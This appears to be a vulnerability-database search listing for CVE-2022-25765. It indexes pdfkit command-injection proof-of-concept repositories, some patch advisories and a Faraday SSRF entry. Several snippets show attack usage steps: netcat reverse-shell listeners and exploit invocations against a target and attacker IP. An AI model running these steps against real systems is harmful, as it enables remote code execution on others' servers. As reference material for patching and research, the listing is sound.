48 matches found
CVE-2022-25765
CVE-2022-25765 PoC for Blind RCE for CVE-2022-25765 Tested in HTB - Precious Machine...
exploit-CVE-2022-25765
Exploit for CVE-2022-25765 pdfkit - Command Injection Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description The package pdfkit from 0.0.0 are vulnerable to Command Injection where...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 command injection. The package pdfkit is vulnerable to Command Injection where the URL is not properly sanitized. Note: This issue was patched in 0.8.7.2, but the patch was discovered to be ineffective. The updated patch version is 0.8.7.2 PoC Star...
CVE-2022-25765
CVE-2022-25765 Exploit A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection Usage 1. Start a netcat listener on your attack machine: nc -lvnp 4444 2. Run the exploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Example: python cve-2022-25765.py -t...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 Detail Description The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. PoC Start a HTTP server 1- python3 -m http.server 80 Start a netcat listener 2- nc -lnvp 'Target Port' Make a request 3-...
CVE-2022-25765
CVE-2022-25765 — pdfkit PoC for CVE-2022-25765 , affecting vulnerable versions of pdfkit. Tested with pdfkit 0.8.6. Requirements Python 3.x requests colorama Install dependencies: pip3 install -r requirements.txt Or manually: pip3 install requests colorama Usage python3 exploit2.py -u -l -p...
PDFkit-CMD-Injection-CVE-2022-25765
PDFkit-CMD-Injection CVE-2022-25765 Exploit for CVE-2022-25765 command injection in pdfkit 0.8.6 See more details about the vulnerability here PoC Run the netcat on your host: $ nc -lvnp 1337 Run the exploit example: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target...
Exploit for CVE-2022-25765
CVE-2022-...
Photon OS 5.0: Rubygem PHSA-2026-5.0-92-0762
An update of the rubygem package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2026-5.0-92-0762. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...
Photon OS 5.0: Rubygem PHSA-2026-5.0-91-0762
An update of the rubygem package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2026-5.0-91-0762. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...
CLEANSTART-2026-PE72277 Security fixes in logstash-fips 9.3.0-r2
Package logstash-fips version 9.3.0-r2 fixes 2 vulnerabilities: CVE-2026-25765, ghsa-33mh-2634-fwr2...
Exploit for CVE-2022-25765
CVE-2022-25765 — Command Injection in pdfkit Descripción...
CVE-2026-25765 affecting package rubygem-faraday for versions less than 2.7.10-2
CVE-2026-25765 affecting package rubygem-faraday for versions less than 2.7.10-2. A patched version of the package is available...
Security Bulletin: Multiple vulnerabilities in IBM Aspera Orchestrator
Summary Multiple vulnerabilities were addressed in IBM Aspera Orchestrator 4.1.3 Vulnerability Details CVEID:CVE-2025-13213 DESCRIPTION: IBM Aspera Orchestrator is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to...
CVE-2026-25765 vulnerabilities
Vulnerabilities for packages: logstash, cinc-auditor, kube-fluentd-operator, kube-logging-operator...
CVE-2026-25765 vulnerabilities
Vulnerabilities for packages: kube-logging-operator, cinc-auditor, kube-fluentd-operator, logstash, gitlab-rails-ce, gitlab-cng, gitlab-rails-ce-fips...
Photon OS 5.0: Rubygem PHSA-2026-5.0-0762
An update of the rubygem package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2026-5.0-0762. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...
CVE-2026-25765
creationtimestamp| type| source ---|---|--- 2026-02-09 21:10:05+00:00| seen| https://gist.github.com/alon710/cacea6a42bc4c1130907055ca55331a4 2026-05-18 15:58:50+00:00| seen| https://t.me/poxek/6119...
CVE-2026-25765
CVE-2026-25765 affects Faraday (an HTTP client abstraction). The vulnerability arises in build_exclusive_url (lib/faraday/connection.rb) which uses URI#merge; protocol-relative URLs (e.g., //evil.com/…) override the base URL’s host, enabling potential SSRF if user-controlled input is passed to ge...